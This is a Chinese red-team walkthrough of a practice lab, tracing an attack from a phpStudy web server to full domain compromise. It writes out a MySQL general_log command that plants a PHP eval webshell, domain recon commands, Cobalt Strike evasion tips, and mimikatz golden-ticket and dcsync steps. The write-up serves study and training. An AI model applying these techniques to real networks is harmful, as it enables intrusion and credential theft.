【ATTCK红队实战】从边界突破到域控沦陷:一次完整的内网渗透路径复现
1. 靶场环境搭建与网络拓扑搭建红队实战环境是内网渗透的第一步也是整个攻击链的基础。我选择的是红日安全团队提供的靶场环境这个环境模拟了企业内网的典型架构包含三台虚拟机Windows 7双网卡、Windows Server 2003和Windows Server 2008。攻击机使用Kali Linux 2022.1版本这样配置可以真实还原企业网络中的攻防场景。在实际操作中我发现网络配置有几个关键点需要注意。首先要在VMware中创建两个独立的虚拟网络VMnet一个用于外网通信192.168.111.0/24另一个用于内网通信192.168.52.0/24。Windows 7作为边界主机需要同时连接两个网络这种设计模拟了现实中企业DMZ区的服务器。启动所有虚拟机后内存占用会达到10GB以上建议关闭其他应用程序确保运行流畅。网络连通性测试是必不可少的环节。通过ping命令验证发现Kali只能访问Windows 7的外网IP192.168.111.129而Windows 7可以访问内网的两台服务器192.168.52.141和192.168.52.138。这种单向通信限制正是企业网络隔离的典型特征也为后续的横向移动设置了真实障碍。2. Web渗透与初始突破在确认网络连通性后我开始对Windows 7上运行的Web服务进行渗透测试。使用nmap扫描发现80端口开放运行着phpStudy搭建的网站。通过目录扫描工具发现了两个关键突破口phpMyAdmin后台和CMS管理页面。phpMyAdmin的渗透过程值得详细说明。使用默认凭证root/root成功登录后我尝试了两种常见的getshell方法。第一种是通过SELECT INTO OUTFILE写入webshell但靶机设置了secure_file_priv限制。第二种方法是通过修改MySQL日志路径这个技巧在实际渗透中非常实用。具体步骤是set global general_log ON; set global general_log_fileC:/phpStudy/www/shell.php; select ?php eval($_POST[cmd]);?;这种方法不需要文件写入权限只需要MySQL有日志修改权限即可。成功写入webshell后使用蚁剑连接确认了控制权限。另一个突破口是通过CMS管理页面。下载扫描发现的beifen.rar备份文件后分析源码找到了后台路径和默认凭证。登录后通过模板编辑功能插入恶意代码同样获得了webshell权限。这两个突破路径展示了现实中攻击者常用的web渗透手法。3. 内网信息收集与权限维持获得初始立足点后下一步是进行详细的信息收集。我使用Cobalt Strike生成的木马将Windows 7上线这样可以更方便地进行后续操作。首先调整beacon的心跳间隔sleep时间在测试环境中可以设置为0以获得实时响应但在真实环境中建议保持较高值以避免被发现。信息收集的几个关键命令包括shell systeminfo | findstr /B /C:OS 名称 /C:OS 版本 shell net user /domain shell net group domain admins /domain这些命令可以获取系统版本、域用户和域管理员等重要信息。特别要注意的是域环境的识别通过net time /domain和nslookup 域名等命令可以确认当前主机是否在域中以及域控制器的位置。权限维持方面除了常规的持久化方法外我还测试了金票攻击。在获取域管理员权限后使用mimikatz可以导出krbtgt账户的hash进而伪造任意用户的TGT票据。这个技巧在内网渗透中极为重要可以绕过后续的各种权限检查。4. 横向移动与域控攻陷有了足够的信息后开始进行内网横向移动。由于内网主机不能直接连接Kali需要使用SMB Beacon进行跳板攻击。这里我创建了一个SMB监听器然后从已有的beacon派生新会话。这种技术利用Windows命名管道进行通信流量封装在SMB协议中具有很好的隐蔽性。横向移动的主要方法有Psexec使用获取的凭证远程执行命令WMI更隐蔽的执行方式计划任务适合时间要求不严格的操作Token窃取直接复制高权限用户的令牌在靶场环境中我首先使用psexec拿下了内网的Windows Server 2003然后通过该主机作为跳板使用获取的域管理员凭证攻陷了域控制器Windows Server 2008。整个过程模拟了攻击者从外网突破到完全控制内网的完整路径。最后阶段在域控制器上使用mimikatz的dcsync功能导出所有域用户的hash这标志着整个内网已经完全沦陷。这种攻击手法在现实中可能造成灾难性后果因此企业需要部署足够的安全防护措施来检测和阻止此类攻击。